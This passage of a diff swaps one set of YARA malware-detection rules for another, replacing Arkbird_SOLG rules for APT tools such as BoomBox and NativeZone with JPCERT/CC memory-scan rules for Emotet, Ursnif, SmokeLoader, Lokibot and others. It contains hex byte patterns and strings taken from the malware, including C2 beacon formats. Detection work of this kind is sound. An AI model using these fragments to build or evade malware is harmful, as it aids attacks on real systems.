-		$s6 = { 8b 45 08 [5] ff [5] 6a 07 89 85 10 ff ff ff ?? 33 ?? 33 c0 89 ?? 14 89 ?? 10 89 ?? 18 ff ff ff 66 89 ?? 8d ?? 1c 89 ?? fc 89 ?? 14 89 ?? 10 66 89 ?? 8d ?? 38 89 ?? 14 89 ?? 10 89 ?? 0c ff ff ff 66 89 ?? 89 ?? 6c 89 ?? 68 66 89 ?? 58 89 ?? 88 00 00 00 89 ?? 84 00 00 00 66 89 ?? 74 89 ?? b8 00 00 00 89 ?? b4 00 00 00 66 89 ?? a4 00 00 00 6a 68 }
+		$a1 = { C7 ?? ?? 41 72 6D 61 }
+		$a2 = { C7 ?? ?? 64 69 6C 6C }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >30KB and 5 of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_Mal_Boxcaon_Jul_2021_1 : FILE
+rule JPCERTCC_Zark20Rk
 {
 	meta:
-		description = "Detect the BoxCaon malware"
-		author = "Arkbird_SOLG"
-		id = "5f456b73-02f9-5dd7-973e-bde20dcddd27"
-		date = "2021-07-01"
-		modified = "2021-07-02"
-		reference = "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-02/IndigoZebra/Mal_BoxCaon_Jul_2021_1.yara#L1-L22"
-		license_url = "N/A"
-		logic_hash = "c7dfce8d7a451817a80897d5cb02cec5aba52f86ece0286353865b7d391e2ffc"
+		description = "detect zark20rk(a variant of RedLeaves) in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "baf3ebfe-80dd-5601-9ba9-8866b6ab6f14"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L113-L126"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "07c5c97916bd9ec19591d90f8b7d872fca571f3479148157cf1ee9e05c272e5c"
 		score = 75
-		quality = 46
-		tags = "FILE"
-		hash1 = "8be3b10406f690ae5cf46c1dba18cb9a1c75bf646defcc9cab81d40fe0e0cc1b"
-		hash2 = "d0b88ab321a05fc94505620c9d02baec4cb1de7bb3b0067de4f8c0d3ba8548b2"
-		tlp = "White"
-		adversary = "IndigoZebra"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
+		hash1 = "d95ad7bbc15fdd112594584d92f0bff2c348f48c748c07930a2c4cc6502cd4b0"
 
 	strings:
-		$s1 = { 7b 22 70 61 74 68 22 3a 20 22 25 73 22 2c 22 61 75 74 6f 72 65 6e 61 6d 65 22 3a 20 66 61 6c 73 65 7d }
-		$s2 = { 7b 22 70 61 74 68 22 3a 20 22 25 73 22 2c 22 72 65 63 75 72 73 69 76 65 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 6d 65 64 69 61 5f 69 6e 66 6f 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 64 65 6c 65 74 65 64 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 68 61 73 5f 65 78 70 6c 69 63 69 74 5f 73 68 61 72 65 64 5f 6d 65 6d 62 65 72 73 22 3a 20 66 61 6c 73 65 2c 22 69 6e 63 6c 75 64 65 5f 6d 6f 75 6e 74 65 64 5f 66 6f 6c 64 65 72 73 22 3a 20 74 72 75 65 2c 22 69 6e 63 6c 75 64 65 5f 6e 6f 6e 5f 64 6f 77 6e 6c 6f 61 64 61 62 6c 65 5f 66 69 6c 65 73 22 3a 20 74 72 75 65 7d }
-		$s3 = "api.dropboxapi.com" fullword ascii
-		$s4 = { 22 70 61 74 68 5f 64 69 73 70 6c 61 79 22 3a 20 22 00 00 00 22 00 00 00 22 70 61 74 68 5f 64 69 73 70 6c 61 79 22 20 3a 20 22 00 00 0d 00 0a 00 44 00 72 00 6f 00 70 00 62 00 6f 00 78 00 2d 00 41 00 50 00 49 00 2d 00 41 00 72 00 67 00 3a 00 20 00 7b 00 22 00 70 00 61 00 74 00 68 00 22 00 3a 00 20 00 22 00 00 00 22 00 7d 00 0d 00 0a 00 00 00 00 00 7b 22 65 72 72 6f 72 5f 73 75 6d 6d 61 72 79 22 00 00 00 00 25 00 73 00 5c 00 25 00 73 00 00 00 7b 22 70 61 74 68 22 3a 20 22 25 73 22 }
-		$s5 = "C:\\Users\\Public\\%d\\" fullword ascii
-		$s6 = { 22 00 2c 00 22 00 6d 00 6f 00 64 00 65 00 22 00 3a 00 20 00 22 00 6f 00 76 00 65 00 72 00 77 00 72 00 69 00 74 00 65 00 22 00 2c 00 22 00 61 00 75 00 74 00 6f 00 72 00 65 00 6e 00 61 00 6d 00 65 00 22 00 3a 00 20 00 66 00 61 00 6c 00 73 00 65 00 2c 00 22 00 6d 00 75 00 74 00 65 00 22 00 3a 00 20 00 74 00 72 00 75 00 65 00 2c 00 22 00 73 00 74 00 72 00 69 00 63 00 74 00 5f 00 63 00 6f 00 6e 00 66 00 6c 00 69 00 63 00 74 00 22 00 3a 00 20 00 66 00 61 00 6c 00 73 00 65 00 7d 00 0d 00 0a 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 54 00 79 00 70 00 65 00 3a 00 20 00 61 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 2f 00 6f 00 63 00 74 00 65 00 74 00 2d 00 73 00 74 00 72 00 65 00 61 00 6d }
-		$s7 = { 25 73 2f [1-4] 2e 74 78 74 }
-		$s8 = { 25 73 2f [1-4] 2d 25 30 34 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 25 30 32 64 2e 74 78 74 }
+		$a1 = { C7 ?? ?? 7A 61 72 6B }
+		$a2 = { C7 ?? ?? 32 30 72 6B }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >30KB and 6 of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_MAL_Envyscout_May_2021_1 : FILE
+rule JPCERTCC_Ursnif_1
 {
 	meta:
-		description = "Detect EnvyScout downloader"
-		author = "Arkbird_SOLG"
-		id = "645f60d1-7c95-515c-a88e-d8528cf8b644"
-		date = "2021-05-28"
-		modified = "2021-06-02"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_EnvyScout_May_2021_1.yara#L1-L20"
-		license_url = "N/A"
-		logic_hash = "7ce4fd18c88f7ea7486c51fc0b673d178bd26ecc2f4a39ec9c5a4a71aaa0daa1"
-		score = 75
-		quality = 73
-		tags = "FILE"
-		hash1 = "279d5ef8f80aba530aaac8afd049fa171704fc703d9cfe337b56639732e8ce11"
-		hash2 = "9059c5b46dce8595fcc46e63e4ffbceeed883b7b1c9a2313f7208a7f26a0c186"
-		tlp = "White"
-		adversary = "NOBELIUM"
+		description = "detect Ursnif(a.k.a. Dreambot, Gozi, ISFB) in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "e93bc13b-33a9-5d9a-92a9-52f16a97fb16"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L128-L158"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "6c224b43e8ec0fa9540a1fdedce7ce4b97f8ab7196a9619594b7dcb9c2dc5169"
+		score = 60
+		quality = 60
+		tags = ""
+		rule_usage = "memory scan"
+		hash1 = "0207c06879fb4a2ddaffecc3a6713f2605cbdd90fc238da9845e88ff6aef3f85"
+		hash2 = "ff2aa9bd3b9b3525bae0832d1e2b7c6dfb988dc7add310088609872ad9a7e714"
+		hash3 = "1eca399763808be89d2e58e1b5e242324d60e16c0f3b5012b0070499ab482510"
 
 	strings:
-		$s1 = "==typeof window&&window.window===window?window:" fullword ascii
-		$s2 = "==typeof self&&self.self===self?self:" fullword ascii
-		$s3 = "0===t?t={autoBom:!1}:" fullword ascii
-		$s4 = "_global.saveAs=saveAs.saveAs=saveAs" fullword ascii
-		$s5 = "navigator.userAgent" fullword ascii
-		$s6 = { 6e 65 77 20 42 6c 6f 62 28 5b [1-12] 5d 2c 20 7b 74 79 70 65 3a 20 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 22 7d 29 3b 73 61 76 65 41 73 28 }
+		$a1 = "soft=%u&version=%u&user=%08x%08x%08x%08x&server=%u&id=%u&crc=%x"
+		$b1 = "client.dll" fullword
+		$c1 = "version=%u"
+		$c2 = "user=%08x%08x%08x%08x"
+		$c3 = "server=%u"
+		$c4 = "id=%u"
+		$c5 = "crc=%u"
+		$c6 = "guid=%08x%08x%08x%08x"
+		$c7 = "name=%s"
+		$c8 = "soft=%u"
+		$d1 = "%s://%s%s"
+		$d2 = "PRI \x2A HTTP/2.0"
+		$e1 = { A1 ?? ?? ?? 00 35 E7 F7 8A 40 50 }
+		$e2 = { 56 56 56 6A 06 5? FF ?? ?? ?? ?? 00 }
+		$f1 = { 56 57 BE ?? ?? ?? ?? 8D ?? ?? A5 A5 A5 }
+		$f2 = { 35 8F E3 B7 3F }
+		$f3 = { 35 0A 60 2E 51 }
 
 	condition:
-		filesize >100KB and 5 of ($s*)
+		$a1 or ($b1 and 3 of ($c*)) or (5 of ($c*)) or ($b1 and all of ($d*)) or all of ($e*) or all of ($f*)
 }
-rule ARKBIRD_SOLG_MAL_Nativezone_May_2021_1 : FILE
+rule JPCERTCC_Emotet_1
 {
 	meta:
-		description = "Detect NativeZone malware"
-		author = "Arkbird_SOLG"
-		id = "5b858a8d-6e6a-5712-a83a-229bed1c7872"
-		date = "2021-05-28"
-		modified = "2021-06-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_NativeZone_May_2021_1.yara#L1-L17"
-		license_url = "N/A"
-		logic_hash = "9281784100e922fe3ef64e7c112276ffa5f8691ab4f24f1b68fbb0495e449bd3"
+		description = "detect Emotet in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "f1cb5e3e-069d-54bb-829d-2ff4aa80e2bb"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L160-L176"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "32f6c25f324eb9f79b8f0b4bc37d648ed95d6347712208f13f74584ee164dc4f"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "136f4083b67bc8dc999eb15bb83042aeb01791fc0b20b5683af6b4ddcf0bbc7d"
-		hash2 = "3b94cc71c325f9068105b9e7d5c9667b1de2bde85b7abc5b29ff649fd54715c4"
-		tlp = "White"
-		adversary = "NOBELIUM"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
 
 	strings:
-		$s1 = { 8b ff 55 8b ec 81 ec 1c 01 00 00 a1 00 ?? 01 10 33 c5 89 45 fc 8b 4d 0c 53 8b 5d 14 56 8b 75 08 89 b5 fc fe ff ff 89 9d f8 fe ff ff 57 8b 7d 10 89 bd 00 ff ff ff 85 f6 75 25 85 c9 74 21 e8 [2] ff ff c7 00 16 00 00 00 e8 [2] ff ff 8b 4d fc 5f 5e 33 cd 5b e8 [2] ff ff 8b e5 5d c3 85 ff 74 db 85 db 74 d7 c7 85 f4 fe ff ff 00 00 00 00 83 f9 02 72 d8 49 0f af cf 03 ce 89 8d 04 ff ff ff 8b c1 33 d2 2b c6 f7 f7 8d 78 01 83 ff 08 0f 87 dc 00 00 00 8b bd 00 ff ff ff 3b ce 0f 86 a1 00 00 00 8d 14 37 89 95 ec fe ff ff 8d 49 00 8b c6 8b f2 89 85 08 ff ff ff 3b f1 77 31 8b ff 50 56 8b cb ff 15 [2] ?? 10 ff d3 83 c4 08 85 c0 7e 0a 8b c6 89 85 08 ff ff ff eb 06 8b 85 08 ff ff ff 8b 8d 04 ff ff ff 03 f7 3b f1 76 d1 8b d1 3b c1 74 34 2b c1 8b df 89 85 08 ff ff ff 90 8a 0c 10 8d 52 01 8b b5 08 ff ff ff 8a 42 ff 88 44 16 ff 8b c6 88 4a ff 83 eb 01 75 e3 8b 9d f8 fe ff ff 8b 8d 04 ff ff ff 8b b5 fc fe ff ff 2b cf 8b 95 ec fe ff ff 89 8d 04 ff ff ff 3b }
-		$s2 = { 8b b5 00 ff ff ff 8b cb 8b 85 fc fe ff ff d1 ef 0f af fe 03 f8 57 50 ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 10 56 57 ff b5 fc fe ff ff e8 1b fe ff ff 83 c4 0c ff b5 04 ff ff ff 8b cb ff b5 fc fe ff ff ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 15 56 ff b5 04 ff ff ff ff b5 fc fe ff ff e8 e9 fd ff ff 83 c4 0c ff b5 04 ff ff ff 8b cb 57 ff 15 [3] 10 ff d3 83 c4 08 85 c0 7e 10 56 ff b5 04 ff ff ff 57 e8 c1 fd ff ff 83 c4 0c 8b 85 04 ff ff ff 8b d8 8b b5 fc fe ff ff 8b 95 00 ff ff ff 89 85 08 ff ff ff 8d 64 24 00 3b fe 76 37 03 f2 89 b5 f0 fe ff ff 3b f7 73 25 8b 8d f8 fe ff ff 57 56 ff 15 [3] 10 ff 95 f8 fe ff ff 8b 95 00 ff ff ff 83 c4 08 85 c0 7e d3 3b fe 77 3d 8b 85 04 ff ff ff 8b 9d f8 fe ff ff 03 f2 3b f0 77 1f 57 56 8b cb ff 15 [3] 10 ff d3 8b 95 00 ff ff ff 83 c4 08 85 c0 8b 85 04 ff ff ff 7e db 8b 9d 08 ff ff ff 89 b5 f0 fe ff ff 8b b5 f8 fe ff ff eb 06 8d 9b 00 00 00 00 8b 95 00 ff ff ff 8b c3 2b da 89 85 08 ff ff ff 3b df 76 1f 57 53 8b ce ff 15 [3] 10 ff d6 83 c4 08 85 c0 7f d9 8b 95 00 ff ff ff 8b 85 08 ff ff ff 8b b5 f0 fe ff ff 89 9d 08 ff ff ff }
-		$s3 = { 8b 45 f4 89 7d f8 8d 04 86 8b c8 89 45 e8 8b c7 89 4d f4 3b 45 dc 74 5b 8b d6 2b d7 89 55 e4 8b 00 8b d0 89 45 ec 8d 42 01 89 45 f0 8a 02 42 84 c0 75 f9 2b 55 f0 8d 42 01 50 ff 75 ec 89 45 f0 8b 45 e8 2b c1 03 45 fc 50 51 e8 [2] 00 00 83 c4 10 85 c0 75 72 8b 45 f8 8b 55 e4 8b 4d f4 89 0c 02 83 c0 04 03 4d f0 89 4d f4 89 45 f8 3b 45 dc 75 ac 8b 45 0c 89 5d f8 89 30 8b f3 53 e8 [2] ff ff 59 8b 45 dc 8b d7 2b c2 89 55 e4 83 c0 03 c1 e8 02 39 55 dc 1b c9 f7 d1 23 c8 89 4d e8 74 18 8b f1 ff 37 e8 [2] ff ff 43 8d 7f 04 59 3b }
+		$v4a = { BB 00 C3 4C 84 }
+		$v4b = { B8 00 C3 CC 84 }
+		$v5a = { 6D 4E C6 41 33 D2 81 C1 39 30 00 00 }
+		$v6a = { C7 40 20 ?? ?? ?? 00 C7 40 10 ?? ?? ?? 00 C7 40 0C 00 00 00 00 83 3C CD ?? ?? ?? ?? 00 74 0E 41 89 48 ?? 83 3C CD ?? ?? ?? ?? 00 75 F2 }
+		$v7a = { 6A 06 33 D2 ?? F7 ?? 8B DA 43 74 }
+		$v7b = { 83 E6 0F 8B CF 83 C6 04 50 8B D6 E8 ?? ?? ?? ?? 59 6A 2F 8D 3C 77 58 66 89 07 83 C7 02 4B 75 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >50KB and all of ($s*)
+		all of ($v4*) or $v5a or $v6a or all of ($v7*)
 }
-rule ARKBIRD_SOLG_MAL_Boombox_May_2021_1 : FILE
+rule JPCERTCC_Smokeloader_1
 {
 	meta:
-		description = "Detect BoomBox malware"
-		author = "Arkbird_SOLG"
-		id = "b2629c5b-1fb0-5ea1-8661-faf8f1d6b578"
-		date = "2021-05-28"
-		modified = "2021-06-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_BoomBox_May_2021_1.yara#L1-L18"
-		license_url = "N/A"
-		logic_hash = "b88848ead9c992392c99e88a25541b72d825fbd32c3eb83fefc18e7cfbd08cc8"
+		description = "detect SmokeLoader in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "19666821-1fe9-50e7-958e-22f2260099aa"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "https://www.cert.pl/en/news/single/dissecting-smoke-loader/"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L178-L191"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "11b7a297d3dcacba57de9b04a6d126970c2be9d5551f7976ac8129b0afbc9bfd"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "0acb884f2f4cfa75b726cb8290b20328c8ddbcd49f95a1d761b7d131b95bafec"
-		hash2 = "8199f309478e8ed3f03f75e7574a3e9bce09b4423bd7eb08bb5bff03af2b7c27"
-		tlp = "White"
-		adversary = "NOBELIUM"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
 
 	strings:
-		$s1 = { 13 30 06 00 90 01 00 00 07 00 00 11 1f 1a 28 53 00 00 0a 25 72 bc 05 00 70 28 1e 00 00 0a 0a 06 28 54 00 00 0a 2d 07 06 28 55 00 00 0a 26 72 ea 05 00 70 28 1e 00 00 0a 0b 07 28 54 00 00 0a 2d 22 07 28 55 00 00 0a 26 07 72 12 06 00 70 28 1e 00 00 0a 0b 07 28 54 00 00 0a 2d 07 07 28 55 00 00 0a 26 73 08 00 00 06 25 7e 08 00 00 04 72 1c 06 00 70 6f 06 00 00 06 0c 08 2c 46 08 8e 69 1f 11 59 8d 2b 00 00 01 13 04 08 1f 0a 11 04 16 11 04 8e 69 28 56 00 00 0a 73 05 00 00 06 11 04 7e 09 00 00 04 7e 0a 00 00 04 6f 03 00 00 06 13 05 06 72 3c 06 00 70 28 1e 00 00 0a 11 05 28 57 00 00 0a 06 72 3c 06 00 70 28 1e 00 00 0a 28 58 00 00 0a 2c 46 7e 59 00 00 0a 72 64 06 00 70 17 6f 5a 00 00 0a 13 06 11 06 72 c0 06 00 70 6f 5b 00 00 0a 2d 26 11 06 72 c0 06 00 70 72 e8 06 00 70 06 72 3c 06 00 70 28 1e 00 00 0a 72 12 07 00 70 28 5c 00 00 0a 6f 5d 00 00 0a 7e 08 00 00 04 72 38 07 00 70 6f 06 00 00 06 0d 09 2c 46 09 8e 69 1f 11 59 8d 2b 00 00 01 13 07 09 1f 0a 11 07 16 11 07 8e 69 28 56 00 00 0a 73 05 00 00 06 11 07 7e 09 00 00 04 7e 0a 00 00 04 6f 03 00 00 06 13 08 07 72 58 07 00 70 28 1e 00 00 0a 11 08 28 57 00 00 0a 06 72 3c 06 00 70 28 1e 00 00 0a 28 58 00 00 0a 2c 16 72 84 07 00 70 06 72 9e 07 00 70 28 1e 00 00 0a 28 5e 00 00 0a 26 2a }
-		$s2 = { 13 30 05 00 11 01 00 00 05 00 00 11 02 7b 02 00 00 04 72 0b 03 00 70 28 1e 00 00 0a 28 30 00 00 0a 74 2d 00 00 01 25 20 c0 d4 01 00 6f 31 00 00 0a 25 72 86 01 00 70 6f 32 00 00 0a 25 72 98 01 00 70 6f 34 00 00 0a 25 6f 35 00 00 0a 72 71 02 00 70 72 8d 02 00 70 03 28 1e 00 00 0a 6f 36 00 00 0a 25 72 2b 03 00 70 6f 3f 00 00 0a 72 9d 02 00 70 04 72 5d 03 00 70 28 37 00 00 0a 0a 25 6f 35 00 00 0a 72 bb 02 00 70 06 6f 38 00 00 0a 25 6f 40 00 00 0a 05 16 05 8e 69 6f 2e 00 00 0a 6f 39 00 00 0a 74 1a 00 00 01 0b 07 6f 3a 00 00 0a 20 c8 00 00 00 33 64 07 6f 3e 00 00 0a 73 41 00 00 0a 6f 42 00 00 0a 0c 02 7b 06 00 00 04 08 6f 43 00 00 0a 6f 44 00 00 0a 17 6f 45 00 00 0a 6f 46 00 00 0a 72 02 04 00 70 28 47 00 00 0a 2c 29 02 7b 03 00 00 04 08 6f 43 00 00 0a 26 02 7b 04 00 00 04 08 6f 43 00 00 0a 26 02 7b 05 00 00 04 08 6f 43 00 00 0a 26 17 2a 16 2a 16 2a }
-		$s3 = { 13 30 04 00 6d 01 00 00 0a 00 00 11 72 f2 07 00 70 28 54 00 00 0a 39 5d 01 00 00 72 [2] 00 70 72 f2 07 00 70 28 5e 00 00 0a 26 1f 1a 28 53 00 00 0a 72 ?? 08 00 70 28 1e 00 00 0a 28 58 00 00 0a 3a 32 01 00 00 1f 0a 8d 2b 00 00 01 25 d0 0c 00 00 04 28 67 00 00 0a 0a 1d 8d 2b 00 00 01 25 d0 0b 00 00 04 28 67 00 00 0a 0b 28 4b 00 00 0a 6f 4c 00 00 0a 28 0c 00 00 06 26 72 d5 00 00 70 28 49 00 00 0a 6f 4a 00 00 0a 28 0c 00 00 06 0c 73 0a 00 00 06 6f 09 00 00 06 0d 09 2c 56 28 68 00 00 0a 09 6f 61 00 00 0a 13 05 73 05 00 00 06 11 05 7e 09 00 00 04 7e 0a 00 00 04 6f 04 00 00 06 13 06 06 11 06 28 0d 00 00 06 13 07 11 07 07 28 0d 00 00 06 13 07 73 08 00 00 06 7e 08 00 00 04 72 ?? 08 00 70 08 28 10 00 00 0a 11 07 6f 07 00 00 06 26 28 0b 00 00 06 28 4b 00 00 0a 6f 4c 00 00 0a 13 04 11 04 72 d5 00 00 70 28 69 00 00 0a 2c 65 73 02 00 00 06 11 04 6f 01 00 00 06 13 08 11 08 2c 53 73 05 00 00 06 28 68 00 00 0a 11 08 6f 61 00 00 0a 7e 09 00 00 04 7e 0a 00 00 04 6f 04 00 00 06 13 09 06 11 09 28 0d 00 00 06 13 0a 11 0a 07 28 0d 00 00 06 13 0a 73 08 00 00 06 7e 08 00 00 04 72 ?? 08 00 70 08 28 10 00 00 0a 11 0a 6f 07 00 00 06 26 2a }
-		$s4 = { 1b 30 05 00 b5 00 00 00 06 00 00 11 72 76 05 00 70 72 d5 00 00 70 28 49 00 00 0a 6f 4a 00 00 0a 28 10 00 00 0a 0a 72 84 05 00 70 28 4b 00 00 0a 6f 4c 00 00 0a 28 10 00 00 0a 0b 72 90 05 00 70 0c 28 4d 00 00 0a 28 49 00 00 0a 6f 4e 00 00 0a 13 04 16 13 05 2b 2a 11 04 11 05 9a 13 06 11 06 6f 4f 00 00 0a 18 33 13 08 11 06 6f 50 00 00 0a 72 98 05 00 70 28 37 00 00 0a 0c 11 05 17 58 13 05 11 05 11 04 8e 69 32 ce 28 51 00 00 0a 6f 52 00 00 0a 0d 72 9c 05 00 70 1a 8d 10 00 00 01 25 16 06 a2 25 17 07 a2 25 18 08 a2 25 19 09 a2 28 1d 00 00 0a 13 07 de 06 26 14 13 07 de 00 11 07 2a 00 00 00 01 10 00 00 00 00 00 00 ac ac 00 06 10 00 00 01 }
+		$a1 = { B8 25 30 38 58 }
+		$b1 = { 81 3D ?? ?? ?? ?? 25 00 41 00 }
+		$c1 = { C7 ?? ?? ?? 25 73 25 73 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >6KB and 3 of ($s*)
+		$a1 and $b1 and $c1
 }
-rule ARKBIRD_SOLG_MAL_Enc_Payload_May_2021_1 : FILE
+rule JPCERTCC_Hawkeye
 {
 	meta:
-		description = "Detect encrypted payload, must be with others APT29 rules maybe give lot fake postives due to the pdf header"
-		author = "Arkbird_SOLG"
-		id = "34da1d06-7892-59ec-8b11-c3278a7f2e34"
-		date = "2021-05-28"
-		modified = "2021-06-02"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-01/NOBELIUM/MAL_Enc_payload_May_2021_1.yara#L1-L17"
-		license_url = "N/A"
-		logic_hash = "484d9947d8acd32126cdc3e3f671cd3b3b048bbdb608d5573f6fcc7e4ddf13f8"
-		score = 50
-		quality = 75
-		tags = "FILE"
-		hash1 = "23e20d630a8fd12600c2811d8f179f0e408dcb3e82600456db74cbf93a66e70f"
-		hash2 = "656384c4e5f9fe435d51edf910e7ba28b5c6d183587cf3e8f75fb2d798a01eeb"
-		level = "Experimental"
-		tlp = "White"
-		adversary = "NOBELIUM"
+		description = "detect HawkEye in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "fc988aaf-bdac-5a53-a90c-d35d86285cd6"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L259-L272"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "45256e1e56de3934d2e57a7c036d49a0f56c25538ed7ad3eb7ee8efa7f549e98"
+		score = 75
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
 
 	strings:
-		$s1 = { 25 50 44 46 2d 31 2e 33 0a 25 06 8b c4 1c c5 86 66 f3 dc 75 f9 3b dd 8c 44 e3 d3 a4 74 9d 94 4e 2e 0f d9 01 a6 f2 88 6a a8 0b 16 1b 1a fc 60 3f 72 7a 1b c1 a7 bb 2f 19 31 6d 6f 79 db 20 f6 c7 fa e7 eb b9 88 77 de 1f a1 92 d7 ea 68 a9 b7 89 17 92 e8 b2 bb a5 58 56 b4 30 60 f8 28 0c 54 7b 2b 68 ba 7e 01 01 6d ad 2e 6d 72 67 1e b0 a8 ea 42 82 bd 14 9a 86 f0 0d 9a 8b 92 76 b3 b3 7d ef 69 24 2c 9f c2 ca e9 c9 b3 }
-		$s2 = { 25 25 45 4f 46 0a }
+		$hawkstr1 = "HawkEye Keylogger" wide
+		$hawkstr2 = "Dear HawkEye Customers!" wide
+		$hawkstr3 = "HawkEye Logger Details:" wide
 
 	condition:
-		filesize >50KB and all of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_APT_Molerats_Feb_2021_1 : FILE
+rule JPCERTCC_Lokibot
 {
 	meta:
-		description = "Detect Molerats implants"
-		author = "Arkbird_SOLG"
-		id = "8ede3aa9-9788-52a5-91a7-bb160daad5ba"
-		date = "2021-02-27"
-		modified = "2021-03-01"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-02-28/Molerats/APT_Molerats_Feb_2021_1.yar#L1-L23"
-		license_url = "N/A"
-		logic_hash = "fbd98f088019434f736107dfe62a307e2c57d0288d68f3133a13de59bf318aea"
+		description = "detect Lokibot in memory"
+		author = "JPCERT/CC Incident Response Group"
+		id = "12e8469b-83e9-5f93-a543-1c2efb4d303a"
+		date = "2021-08-16"
+		modified = "2021-08-16"
+		reference = "internal research"
+		source_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/yara/rule.yara#L274-L288"
+		license_url = "https://github.com/JPCERTCC/MalConfScan//blob/19ec0d145535a6a4cfd37c0960114f455a8c343e/LICENSE.txt"
+		logic_hash = "3d2db6acb565d705ba26acb7f75be24096ab619a03726f4898391bfe5944bc46"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "0a55551ade55705d4be6e946ab58a26d7cf8087558894af8799931b09d38f3bc"
-		hash2 = "c9d7b5d06cd8ab1a01bf0c5bf41ef2a388e41b4c66b1728494f86ed255a95d48"
+		quality = 80
+		tags = ""
+		rule_usage = "memory scan"
+		hash1 = "6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c"
 
 	strings:
